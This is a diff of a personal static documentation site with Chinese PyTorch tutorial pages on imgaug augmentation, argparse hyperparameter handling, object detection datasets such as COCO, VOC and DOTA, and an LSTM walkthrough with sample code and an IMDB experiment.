总的来说,对单张图片处理的方式基本相同,我们可以根据实际需求,选择合适的数据增强方法来对数据进行处理。

+

对批次图片进行处理​

+

在实际使用中,我们通常需要处理更多份的图像数据。此时,可以将图形数据按照NHWC的形式或者由列表组成的HWC的形式对批量的图像进行处理。主要分为以下两部分,对批次的图片以同一种方式处理和对批次的图片进行分部分处理。

+

对批次的图片以同一种方式处理​

+

对一批次的图片进行处理时,我们只需要将待处理的图片放在一个list中,并将函数的image改为images即可进行数据增强操作,具体实际操作如下:

+
images = [img,img,img,img,]
images_aug = rotate(images=images)
ia.imshow(np.hstack(images_aug))
+

我们就可以得到如下的展示效果:

+

+在上述的例子中,我们仅仅对图片进行了仿射变换,同样的,我们也可以对批次的图片使用多种增强方法,与单张图片的方法类似,我们同样需要借助Sequential来构造数据增强的pipline。

+
aug_seq = iaa.Sequential([
iaa.Affine(rotate=(-25, 25)),
iaa.AdditiveGaussianNoise(scale=(10, 60)),
iaa.Crop(percent=(0, 0.2))
])

# 传入时需要指明是images参数
images_aug = aug_seq.augment_images(images = images)
#images_aug = aug_seq(images = images)
ia.imshow(np.hstack(images_aug))
+

对批次的图片分部分处理​

+

imgaug相较于其他的数据增强的库,有一个很有意思的特性,即就是我们可以通过imgaug.augmenters.Sometimes()对batch中的一部分图片应用一部分Augmenters,剩下的图片应用另外的Augmenters。

+
iaa.Sometimes(p=0.5,  # 代表划分比例
then_list=None, # Augmenter集合。p概率的图片进行变换的Augmenters。
else_list=None, #1-p概率的图片会被进行变换的Augmenters。注意变换的图片应用的Augmenter只能是then_list或者else_list中的一个。
name=None,
deterministic=False,
random_state=None)
+

对不同大小的图片进行处理​

+

上面提到的图片都是基于相同的图像。以下的示例具有不同图像大小的情况,我们从维基百科加载三张图片,将它们作为一个批次进行扩充,然后一张一张地显示每张图片。具体的操作跟单张的图片都是十分相似,因此不做过多赘述。

+
# 构建pipline
seq = iaa.Sequential([
iaa.CropAndPad(percent=(-0.2, 0.2), pad_mode="edge"), # crop and pad images
iaa.AddToHueAndSaturation((-60, 60)), # change their color
iaa.ElasticTransformation(alpha=90, sigma=9), # water-like effect
iaa.Cutout() # replace one squared area within the image by a constant intensity value
], random_order=True)

# 加载不同大小的图片
images_different_sizes = [
imageio.imread("https://upload.wikimedia.org/wikipedia/commons/e/ed/BRACHYLAGUS_IDAHOENSIS.jpg"),
imageio.imread("https://upload.wikimedia.org/wikipedia/commons/c/c9/Southern_swamp_rabbit_baby.jpg"),
imageio.imread("https://upload.wikimedia.org/wikipedia/commons/9/9f/Lower_Keys_marsh_rabbit.jpg")
]

# 对图片进行增强
images_aug = seq(images=images_different_sizes)

# 可视化结果
print("Image 0 (input shape: %s, output shape: %s)" % (images_different_sizes[0].shape, images_aug[0].shape))
ia.imshow(np.hstack([images_different_sizes[0], images_aug[0]]))

print("Image 1 (input shape: %s, output shape: %s)" % (images_different_sizes[1].shape, images_aug[1].shape))
ia.imshow(np.hstack([images_different_sizes[1], images_aug[1]]))

print("Image 2 (input shape: %s, output shape: %s)" % (images_different_sizes[2].shape, images_aug[2].shape))
ia.imshow(np.hstack([images_different_sizes[2], images_aug[2]]))
+

different_size.png

+

6.5.3 imgaug在PyTorch的应用​

+

关于PyTorch中如何使用imgaug每一个人的模板是不一样的,我在这里也仅仅给出imgaug的issue里面提出的一种解决方案,大家可以根据自己的实际需求进行改变。 +具体链接:how to use imgaug with pytorch

+
import numpy as np
from imgaug import augmenters as iaa
from torch.utils.data import DataLoader, Dataset
from torchvision import transforms

# 构建pipline
tfs = transforms.Compose([
iaa.Sequential([
iaa.flip.Fliplr(p=0.5),
iaa.flip.Flipud(p=0.5),
iaa.GaussianBlur(sigma=(0.0, 0.1)),
iaa.MultiplyBrightness(mul=(0.65, 1.35)),
]).augment_image,
# 不要忘记了使用ToTensor()
transforms.ToTensor()
])

# 自定义数据集
class CustomDataset(Dataset):
def __init__(self, n_images, n_classes, transform=None):
# 图片的读取,建议使用imageio
self.images = np.random.randint(0, 255,
(n_images, 224, 224, 3),
dtype=np.uint8)
self.targets = np.random.randn(n_images, n_classes)
self.transform = transform

def __getitem__(self, item):
image = self.images[item]
target = self.targets[item]

if self.transform:
image = self.transform(image)

return image, target

def __len__(self):
return len(self.images)


def worker_init_fn(worker_id):
imgaug.seed(np.random.get_state()[1][0] + worker_id)


custom_ds = CustomDataset(n_images=50, n_classes=10, transform=tfs)
custom_dl = DataLoader(custom_ds, batch_size=64,
num_workers=4, pin_memory=True,
worker_init_fn=worker_init_fn)

+

关于num_workers在Windows系统上只能设置成0,但是当我们使用Linux远程服务器时,可能使用不同的num_workers的数量,这是我们就需要注意worker_init_fn()函数的作用了。它保证了我们使用的数据增强在num_workers>0时是对数据的增强是随机的。

+

6.5.4 总结​

+

数据扩充是我们需要掌握的基本技能,除了imgaug以外,我们还可以去学习其他的数据增强库,包括但不局限于Albumentations,Augmentor。除去imgaug以外,我还强烈建议大家学下Albumentations,因为Albumentations跟imgaug都有着丰富的教程资源,大家可以有需求访问Albumentations教程。

+

参考资料​

+
    +
  1. kaggle-data-augmentation-packages-overview
  2. +
  3. how to use imgaug with pytorch
  4. +
  5. Kaggle知识点:数据扩增方法
  6. +
  7. PyTorch Classification Model Based On Imgaug.
  8. +
  9. Tutorial Notebooks
  10. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.6 使用argparse进行调参/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.6 使用argparse进行调参/index.html new file mode 100644 index 0000000..c465952 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.6 使用argparse进行调参/index.html @@ -0,0 +1,81 @@ + + + + + +6.6 使用argparse进行调参.md | wjlin0 + + + + + + + +

6.6 使用argparse进行调参.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:21
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.6 使用argparse进行调参

+

在深度学习中时,超参数的修改和保存是非常重要的一步,尤其是当我们在服务器上跑我们的模型时,如何更方便的修改超参数是我们需要考虑的一个问题。这时候,要是有一个库或者函数可以解析我们输入的命令行参数再传入模型的超参数中该多好。到底有没有这样的一种方法呢?答案是肯定的,这个就是 Python 标准库的一部分:Argparse。那么下面让我们看看他是多么方便。通过本节课,您将会收获以下内容

+
    +
  • argparse的简介
  • +
  • argparse的使用
  • +
  • 如何使用argparse修改超参数
  • +
+

6.6.1 argparse简介​

+

argsparse是python的命令行解析的标准模块,内置于python,不需要安装。这个库可以让我们直接在命令行中就可以向程序中传入参数。我们可以使用python file.py来运行python文件。而argparse的作用就是将命令行传入的其他参数进行解析、保存和使用。在使用argparse后,我们在命令行输入的参数就可以以这种形式python file.py --lr 1e-4 --batch_size 32来完成对常见超参数的设置。

+

6.6.2 argparse的使用​

+

总的来说,我们可以将argparse的使用归纳为以下三个步骤。

+
    +
  • 创建ArgumentParser()对象
  • +
  • 调用add_argument()方法添加参数
  • +
  • 使用parse_args()解析参数 +在接下来的内容中,我们将以实际操作来学习argparse的使用方法。
  • +
+
# demo.py
import argparse

# 创建ArgumentParser()对象
parser = argparse.ArgumentParser()

# 添加参数
parser.add_argument('-o', '--output', action='store_true',
help="shows output")
# action = `store_true` 会将output参数记录为True
# type 规定了参数的格式
# default 规定了默认值
parser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3')

parser.add_argument('--batch_size', type=int, required=True, help='input batch size')
# 使用parse_args()解析函数
args = parser.parse_args()

if args.output:
print("This is some output")
print(f"learning rate:{args.lr} ")

+

我们在命令行使用python demo.py --lr 3e-4 --batch_size 32,就可以看到以下的输出

+
This is some output
learning rate: 3e-4
+

argparse的参数主要可以分为可选参数和必选参数。可选参数就跟我们的lr参数相类似,未输入的情况下会设置为默认值。必选参数就跟我们的batch_size参数相类似,当我们给参数设置required =True后,我们就必须传入该参数,否则就会报错。看到我们的输入格式后,我们可能会有这样一个疑问,我输入参数的时候不使用--可以吗?答案是肯定的,不过我们需要在设置上做出一些改变。

+
# positional.py
import argparse

# 位置参数
parser = argparse.ArgumentParser()

parser.add_argument('name')
parser.add_argument('age')

args = parser.parse_args()

print(f'{args.name} is {args.age} years old')
+

当我们不实用--后,将会严格按照参数位置进行解析。

+
$ positional_arg.py Peter 23
Peter is 23 years old
+

总的来说,argparse的使用很简单,以上这些操作就可以帮助我们进行参数的修改,在下面的部分,我将会分享我是如何在模型训练中使用argparse进行超参数的修改。

+

6.6.3 更加高效使用argparse修改超参数​

+

每个人都有着不同的超参数管理方式,在这里我将分享我使用argparse管理超参数的方式,希望可以对大家有一些借鉴意义。通常情况下,为了使代码更加简洁和模块化,我一般会将有关超参数的操作写在config.py,然后在train.py或者其他文件导入就可以。具体的config.py可以参考如下内容。

+
import argparse  

def get_options(parser=argparse.ArgumentParser()):

parser.add_argument('--workers', type=int, default=0,
help='number of data loading workers, you had better put it '
'4 times of your gpu')

parser.add_argument('--batch_size', type=int, default=4, help='input batch size, default=64')

parser.add_argument('--niter', type=int, default=10, help='number of epochs to train for, default=10')

parser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3')

parser.add_argument('--seed', type=int, default=118, help="random seed")

parser.add_argument('--cuda', action='store_true', default=True, help='enables cuda')
parser.add_argument('--checkpoint_path',type=str,default='',
help='Path to load a previous trained model if not empty (default empty)')
parser.add_argument('--output',action='store_true',default=True,help="shows output")

opt = parser.parse_args()

if opt.output:
print(f'num_workers: {opt.workers}')
print(f'batch_size: {opt.batch_size}')
print(f'epochs (niters) : {opt.niter}')
print(f'learning rate : {opt.lr}')
print(f'manual_seed: {opt.seed}')
print(f'cuda enable: {opt.cuda}')
print(f'checkpoint_path: {opt.checkpoint_path}')

return opt

if __name__ == '__main__':
opt = get_options()
+
$ python config.py

num_workers: 0
batch_size: 4
epochs (niters) : 10
learning rate : 3e-05
manual_seed: 118
cuda enable: True
checkpoint_path:
+

随后在train.py等其他文件,我们就可以使用下面的这样的结构来调用参数。

+
# 导入必要库
...
import config

opt = config.get_options()

manual_seed = opt.seed
num_workers = opt.workers
batch_size = opt.batch_size
lr = opt.lr
niters = opt.niters
checkpoint_path = opt.checkpoint_path

# 随机数的设置,保证复现结果
def set_seed(seed):
torch.manual_seed(seed)
torch.cuda.manual_seed_all(seed)
random.seed(seed)
np.random.seed(seed)
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True

...


if __name__ == '__main__':
set_seed(manual_seed)
for epoch in range(niters):
train(model,lr,batch_size,num_workers,checkpoint_path)
val(model,lr,batch_size,num_workers,checkpoint_path)

+

总结​

+

argparse给我们提供了一种新的更加便捷的方式,而在一些大型的深度学习库中人们也会使用json、dict、yaml等文件格式去保存超参数进行训练。如果大家还想进一步的了解argparse的使用,大家可以点击下面提供的连接进行更深的学习和了解。

+
    +
  1. Python argparse 教程
  2. +
  3. argparse 官方教程
  4. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/index.html new file mode 100644 index 0000000..70f60dc --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/index.html @@ -0,0 +1,46 @@ + + + + + +第六章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/10.1 图像分类/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/10.1 图像分类/index.html new file mode 100644 index 0000000..b081989 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/10.1 图像分类/index.html @@ -0,0 +1,45 @@ + + + + + +10.1 图像分类.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/10.2 目标检测/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/10.2 目标检测/index.html new file mode 100644 index 0000000..16281cb --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/10.2 目标检测/index.html @@ -0,0 +1,181 @@ + + + + + +10.2 目标检测.md | wjlin0 + + + + + + + +

10.2 目标检测.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

目标检测简介

+

目标检测概述​

+

目标检测是计算机视觉的一个重要任务,根据整张图像内容进行描述,并结合目标物体的特征信息,确定该物体的类别与位置。不同于图像分类任务中我们只需要输出图像中主要物体对象的类标,在目标检测任务中,一张图像里往往含有多个物体对象,我们不仅需要输出这些物体的类标,同时还需要输出这些物体的位置,在表示位置时,我们一般采用目标检测边缘框bounding box进行表示,bounding box是一组坐标值,常见形式为(x1,y1,x2,y2),其中x1代表物体左上横坐标,y1代表左上纵坐标,x2代表物体右下横坐标,y2代表物体右下纵坐标。

+

目标检测应用​

+

目标检测技术不同于图像分类单一输出物体的种类,它将物体的位置和种类一起输出,这使得目标检测在一些领域有着重要的作用,目标检测常用于人脸检测、智慧交通、机器人、无人驾驶、遥感目标检测、安防领域检测异常、行人计数、安全系统等各大领域。

+

目标检测数据集​

+

目标检测的数据集通常来说比图片分类的数据集小很多,因为每一张图片的标注的成本很高,相较于图片分类的常见标注方法是给定一个CSV文件(图片与标号一一对应)或者是给定一个文件夹(每个类对应一个子文件夹,对应标号的图片放在子文件夹下),但是对于目标检测来说因为一张图片中可能存在多个类,所以我们就不能放在子文件夹中,所以通常来说目标检测的数据集的标号需要额外存储,常见的存储格式有PASCAL VOC的格式和COCO的标注格式。假设使用文本文件存储的话,每一行表示一个物体,每一行分别由图片文件名(因为一张图片中可能有多个物体,所以同一个文件名可能会出现多次)、物体类别(标号)、边缘框(图片中物体的位置)组成,每一行一共有6(1+1+4)个值 +目标检测常用的数据集有PASCAL VOC2007, MS COCO

+

COCO数据集​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

COCO是目标检测中比较常见的数据集,类似于Imagenet在图片分类中的地位,coco数据集是微软开源的一个目标检测中常用的大规模数据集,相对于VOC而言,COCO数据集有着小目标多、单幅图片目标多、物体大多非中心分布、更符合日常环境的特点,因而COCO数据集的目标检测难度更大。对于目标检测任务,COCO包含80个类别,每年大赛的训练和和验证集包含120,000张图片,超过40,000张测试图片(每个图片包含多个物体)。下面是这个数据集中的80个类别:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
所属大类lable
Person#1person
Vehicle#8bicycle,car,motorcycle,airplane,bus,train,truck,boat
Outdoor#5traffic light, firhydrant, stop sign, parking meter, bench
Animal#10bird,cat, dog,horse, sheep, cow, elephant, bear, zebra, giraffe
Accessory#5backpack, umbrella,handbag, tie, suitcase
Sport#10frisbee, skis,snowboard, sports ball, kite, baseball bat , baseball glove, skateboard, surfboard, tennisracket
Kitchen#7bottle, wine glass,cup, fork, knife, spoon, bowl
Food#10banana, apple,sandwich, orange, broccoli, carrot, hot dog, pizza, donut, cake
Furniture#6chair, couch, potted plant,bed, dining table, toilet
Electronic#6tv, laptop, mouse,remote, keyboard, cell phone
Appliance#5microwave, oven,toaster, sink, refrigerator
Indoor#7book, clock, vase,scissors, teddy bear, hair drier, toothbrus
+

与PASCAL VOC数据标注格式不同,COCO的数据标注格式是以Json形式保存,具体形式可以参考COCO官网的format data

+

PASCAL VOC​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

Pascal VOC数据集是目标检测的常用的大规模数据集之一,从05年到12年都会举办比赛(比赛任务task: 分类Classification ,目标检测Object Detection,语义分割Class Segmentation,实例分割Object Segmentation,Action Classification(专注于人体动作的一种分类),Person Layout(专注于人体各部位的一种目标检测))。当前常见的数据集有VOC2007和VOC2012两个数据集。包含约10,000张带有边界框的图片用于训练和验证。含有20个类别。具体包括

+ + + + + + + + + + + + + + + + + + + + + + + + + +
所属大类label
Personperson
Animalbird, cat, cow, dog, horse,sheep
Vehicleaeroplane, bicycle, boat,bus, car, motorbike, train
Indoorbottle, chair, dining table,potted plant, sofa, tv/monitor
+

相较于COCO数据集的80类别,PASCAL VOC数据集仅有20类,因此也常被看作是目标检测领域的基准数据集。数据集下载完后会有五个文件夹:Annotations、ImageSets、JPEGImages、SegmentationClass、SegmentationObject +annotations:数据集标签的存储路径,通过XML文件格式,为图像数据存储各类任务的标签。其中部分标签为目标检测的标签。 +JPEGImages:数据集图像的存储路径。 +具体的标注格式,请参考Annotation Guidelines

+

DOTA​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

DOTA数据集是最为重要的遥感航空拍摄的目标检测数据集之一,数据来自Google Earth,GF-2和JL-1卫星,CycloMedia B.V。DOTA包含灰度图和RGB图像,并且每张图片以PNG形式保存,其中RGB来自于Google Earth和CycloMedia,灰度图来自GF-2和JL-1卫星。DOTA现有v1.0,v1.5,v2.0三个版本,分别支持15,16,18类的检测。

+ + + + + + + + + + + + + + + + + + + + + +
DOTA 版本包含类别
DOTA v1.0plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field and swimming pool
DOTA v1.5plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool and container crane.
DOTA v2.0plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool, container crane, airport and helipad.
+

关于DOTA的标注形式,请参考DOTA Annotation format

+

KITTI​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

目标检测常用算法​

+

随着算力的发展和深度学习的发展,目标检测经历了从基于手工设计特征的方法到基于深度学习提取特征的阶段。在早期,目标检测技术往往采用手工设计特征(Haar特征、梯度直方图HOG)加分类器(SVM、AdaBoost)的方法实现。随着卷积神经网络的发展,目标检测出现了一系列的基于卷积神经网络的目标检测技术,包括R-CNN系列,SSD系列,YOLO系列等。随着Transformer在自然语言处理和计算机视觉的发展,也出现了基于Transformer的目标检测技术,代表工作有DETR系列。在本部分,我们主要介绍基于深度学习的目标检测技术并进行部分代码的解读。

+

我们可以将基于深度学习的目标检测技术按照有无使用锚点框分为基于锚点框的目标检测方法(Anchor-based),无锚点框的目标检测方法(Anchor-free)和端到端的目标检测方法(Anchor-free)。其中端到端的目标检测技术也是属于特殊的无锚点框的目标检测方法。

+

我们可以将基于锚点框的目标检测方法分为单阶段目标检测方法(One-Stage)和两阶段目标检测方法(Two-Stage),其中单阶段目标检测方法代表作有YOLO (You Only Look Once)和SSD (Single Shot Detector),两阶段目标检测方法的代表作有R-CNN(R-CNN,Fast RCNN,Faster RCNN,Mask RCNN,Cascade RCNN,SPPNet)系列。一般而言,两阶段目标检测具有较高的检测精度,而单阶段目标检测方法具有更高的精度。

+

同样,我们可以将无锚点框的目标检测方法分为基于目标点的目标检测方法和基于内部点的目标检测方法。 +端到端的目标检测方法

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/10.3 图像分割/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/10.3 图像分割/index.html new file mode 100644 index 0000000..a7ba722 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/10.3 图像分割/index.html @@ -0,0 +1,45 @@ + + + + + +10.3 图像分割.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/LSTM解读及实战/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/LSTM解读及实战/index.html new file mode 100644 index 0000000..8c4a4a7 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/LSTM解读及实战/index.html @@ -0,0 +1,253 @@ + + + + + +LSTM解读及实战.md | wjlin0 + + + + + + + +

LSTM解读及实战.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

文章结构

+

在RNN详解及其实战中,我们简单讨论了为什么需要RNN这类模型、RNN的具体思路、RNN的简单实现等问题。同时,在文章结尾部分我们提到了RNN存在的梯度消失问题,及之后的一个解决方案:LSTM。因此,本篇文章主要结构如下:

+
    +
  1. LSTM 理解及简单实现
  2. +
  3. LSTM 实战
  4. +
  5. 经典 RNN 与 LSTM 对比
  6. +
  7. 关于梯度消失
  8. +
+

LSTM 理解

+

其实,我们将 LSTM 与 RNN 说成两个并不可取, LSTM 依然归属于 RNN 之下,相比于使用线性回归方式来处理序列问题, LSTM 其实是设计了一个模块来取代线性回归算法。

+

LSTM(Long Short-Term Memory),翻译过来是长短期记忆法,其核心思想可以说非常的简单:既然 RNN 只能保存短期的记忆,那我增加一个长期记忆,不就可以解决这个问题了名?因此,LSTM提出了长期记忆和短期记忆,通过调整长期记忆和短期记忆之间的比例,来维持长期记忆的可靠,降低 RNN 的梯度消失问题。可以看到下方结构图中,模型输入由两个升级到三个,分别是当前节点状态 $\mathbf{X}{t}$,长期记忆:$\mathbf{C}{t-1}$,短期记忆 $\mathbf{H}{t-1}$。输出状态依然是两个:节点当前状态 $\mathbf{C}{t}$,和节点当前隐藏状态 $\mathbf{H}_{t}$。

+

LSTM结构图

+

那么问题来了, LSTM 是如何实现对长短记忆的控制呢? +这就不得不提众人所知的三个门:

+
    +
  • 遗忘门:控制保留多少上一时刻的单元节点到当前节点
  • +
  • 记忆门:控制将当前时刻的多少信息记忆到节点中
  • +
  • 输出门:控制输出多少信息给当前输出
  • +
+

我们在分析三个门之前,我们先了解 门 这一概念。

+

门​

+

从简化图中可以看到, 门的感觉类似于电路中的一个开关,当开关按下,信息通过,而开关抬起,信息不再通过。实际也如此类似,门是一个全连接层,输入为一个向量,输出为一个位于 [0,1] 之间的值。 +我们来设计一个非常简单的遗忘门:每次学习状态之后,都遗忘一定的已学习内容,注意,这里的遗忘门与 LSTM 的遗忘门无关,单纯理解 门 这一概念。

+
# 一个线性层 用来计算遗忘多少
gate_linear = nn.Linear(hidden_size, 1)
# 一个线性层 用来学习
study_linear = nn.Linear(hidden_size, hidden_size)
# 此刻 h_t 是上一时刻状态
# 输出为 0 - 1 的值
gate = gate_linear(h_t)
# h_t 经过 study_linear 进行学习
_h_t = study_linear(h_t)
# 在输出结果之前,经过 gate 导致内容受损,遗忘了一定的学习内容
h_t = gate * (_h_t)
+

可以看到,如果 $gate$ 值为 0,则历史信息均会被遗忘,而如果值为1,则历史信息则会被完全保留,而 gate_linear 网络中的超参数会不断的学习,因此一个可以学习的开关门就出现了。

+

但是,$gate$ 作为一个浮点型的数据,对于 临时结果矩阵变量 $_h_t$ 而言,其遗忘控制是全局的,也就是,当 $gate$ 为 0 时, 其最终结果 $h_t$ 为全 0 矩阵。因此我们应该注意: LSTM 中并不采用这样的大闸门,而是采用对每个变量进行分别控制的小水龙头(神经网络激活函数 nn.Sigmode )

+

而在 LSTM 中,门主要使用 $Sigmod$ 神经网络(再次注意,并非是激活函数,而是 Sigmod 神经网络)来完成。

+

下方是一个示例代码:

+
hidden_size = 5
sigmoid = nn.Sigmoid()
# 隐藏状态 为了方便计算,假定全 1
hidden_emb = torch.ones(hidden_size, hidden_size)
# 中间某一层神经网络
model = nn.Linear(hidden_size,hidden_size)
# 获取该层输出,此时尚未被门限制
mid_out = model(hidden_emb)
# 获取一个门 -- 注意:并非一定由该变量所控制
# 比如:也可以由上一时刻的隐藏状态控制
# 代码为: gate = sigmoid(hidden_emb)
gate = sigmoid(mid_out)
# 得到最终输出
final_out = gate * mid_out
+

在有了对门的基础知识后,接下来对遗忘门、记忆门、输出门进行分别分析。

+

遗忘门​

+

遗忘门涉及部分如下图所示: +LSTM-遗忘门

+

其中,下方蓝色表示三个门共用的输入部分,均为 [$\mathbf{h}{t-1}$,$\mathbf{X}{t}$],需要注意,这里由于三个门之间并不共享权重参数,因此公示虽然接近,但是一共计算了三次,遗忘门被标记为 $f_t$, 列出遗忘门公式为: +$$ +f_t = \sigma(\mathbf{W_f} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_f}) +$$ +输出结果为取值范围为 [ 0, 1 ] 的矩阵,主要功能是控制与之相乘的矩阵的遗忘程度。 +将 $f_t$ 与输入的上一长期状态 $C_{t-1}$ 相乘: +$$ +C_t' = f_t * C_{t-1} +$$

+

一部分的 $C_{t-1}$ 就这样被遗忘了。

+

记忆门​

+

记忆门涉及部分如下所示: +LSTM记忆门

+

从图中可以看到,记忆门中相乘的两个部分均由 $\mathbf{h}{t-1}$ 与 $\mathbf{X}{t}$ 得到, +其中,左侧控制记忆多少的部分,与遗忘门公式基本一致: +$$ +i_t = \sigma(\mathbf{W_i} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_i}) +$$ +与遗忘门相通,输出结果为取值范围为 [ 0, 1 ] 的矩阵,主要功能是控制与之相乘的矩阵的记忆程度。 +而右侧,则更换了激活函数,由 $sigmoid$ 变成了 $tanh$: +$$ +\tilde{C_t} = \tanh(\mathbf{W_c} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_c}) +$$ +该公式负责的部分可以看做负责短期隐藏状态的更新,取值范围为 [ -1, 1 ]。

+

最终记忆门更新公式如下: +$$ +\tilde{C_t'}= i_t * \tilde{C_t} +$$

+

我们可以说 $\tilde{C_t'}$ 是保留了一定内容的短期状态

+

状态更新​

+

LSTM-状态更新

+

在通过遗忘门获取到了被遗忘一定内容的长期状态 $C_t'$ 和 保留了一定内容的短期状态 $\tilde{C_t'}$ 之后,可以通过加法直接结合

+

$$ +C_t = C_t' + \tilde{C_t'} +$$

+

输出门​

+

LSTM输出门

+

输出门是三个门中最后一个门,当数据到达这里的时候,我们主要控制将长期状态中的内容 $C_t$ 保存一定内容到 $h_t$ 中,这里不再赘述 +$$ +o_t = \sigma(\mathbf{W_o} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_o}) +$$

+

$$ +h_t = o_t * \tanh(C_t) +$$

+

模型总结​

+

可以看到,所有公式的核心部分都是如此的相似: +$$ +\mathbf{W_c} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_c} +$$ +而这部分其实又只是简单的线性函数,所以 LSTM 比 RNN 高级的地方其实并不在于某一条公式,而是它调整了数据之间的流动,按照一定的比例进行融合,弱化了长距离下的梯度消失问题。

+

最后总的来看,LSTM 其实就是一个升级版本的的 RNN,他额外初始化了一个状态 $C$, 用来保存长期的记忆,控制远距离上的参数权重。而输出也基本类似于此。

+

LSTM 实战

+

实验说明​

+

完整代码实现可以点击这里下载。在完整代码中,我们共计使用了三个模型并对比了他们的效果,三个模型分别是:由我完全使用 nn.Linear 实现的 LSTM 模型、 使用 nn.LSTM 为基础的 LSTM 模型和使用 nn.RNN 为基础实现的 RNN 模型。

+

实验数据集采用 IMDB 数据集。主要由电影评论构成,长度不均,但是长度在 1000 左右的数据属于常见数据。数据集样本均衡,数共计 50000 个样本,训练和测试各有 25000 个样本,同时训练和测试的正负比例均为 1:1。

+

根据我们对 RNN 的了解,这样的长度是很难学习到有效的知识的,所以很适合比较 RNN 与 LSTM 之间的区别。

+

为了方便代码复现,在实现中借助了 torchtext 来完成数据下载及加载。

+

为了证明模型真的有学习到一定的内容,所以对比实验中部分参数可能存在部分区别,可以在本地调整到同一参数进行细致的对比实验。

+

模型实现​

+

我们在这里分析一下由我实现的 LSTM 模型,并以此了解 LSTM 模型。(ps:个人能力有限,没能实现 num_layers 和 Bi-LSTM 两个特点,此外可能实现存在其他问题,欢迎给予反馈)

+
# 定义基础模型
class LSTM(nn.Module):
def __init__(self, input_size, hidden_size, num_classes):
"""
args:
input_size: 输入大小
hidden_size: 隐藏层大小
num_classes: 最后输出的类别,在这个示例中,输出应该是 0 或者 1
"""
super(LSTM, self).__init__()
self.input_size = input_size
self.hidden_size = hidden_size
self.num_layers = num_layers
self.fc_i = nn.Linear(input_size + hidden_size, hidden_size)
self.fc_f = nn.Linear(input_size + hidden_size, hidden_size)
self.fc_g = nn.Linear(input_size + hidden_size, hidden_size)
self.fc_o = nn.Linear(input_size + hidden_size, hidden_size)
self.sigmoid = nn.Sigmoid()
self.tanh = nn.Tanh()
self.fc_out = nn.Linear(hidden_size, num_classes)
def forward(self, x):
# 初始化隐藏状态 -- 短期记忆
h_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)
# 初始化隐藏状态 -- 长期记忆
c_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)
# 输入与短期记忆相拼接
combined = torch.cat((x, h_t), dim=2)
# 记忆门 -- 输出矩阵内容为 0-1 之间的数字
i_t = self.sigmoid(self.fc_i(combined))
# 遗忘门 -- 输出矩阵内容为 0-1 之间的数字
f_t = self.sigmoid(self.fc_f(combined))
#
g_t = self.tanh(self.fc_g(combined))
# 输出门 -- 输出矩阵内容为 0-1 之间的数字
o_t = self.sigmoid(self.fc_o(combined))
# 长期状态 = 遗忘门 * 上一时刻的长期状态 + 记忆门* 当前记忆状态
c_t = f_t * c_t + i_t * g_t
# 隐藏状态 = 输出门 * 长期状态
h_t = o_t * self.tanh(c_t)
# 降维操作
h_t = F.avg_pool2d(h_t, (h_t.shape[1],1)).squeeze()
#
out = self.fc_out(h_t)
return out
+

超参数及参数说明​

+

MyLSTM 与 nn.LSTM​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称值
learning_rate0.001
batch_size32
epoch6(3)
input_size64
hidden_size128
num_classes2
+

此时: +MyLSTM 参数量: 99074 +nn.LSTM 参数量: 99328

+

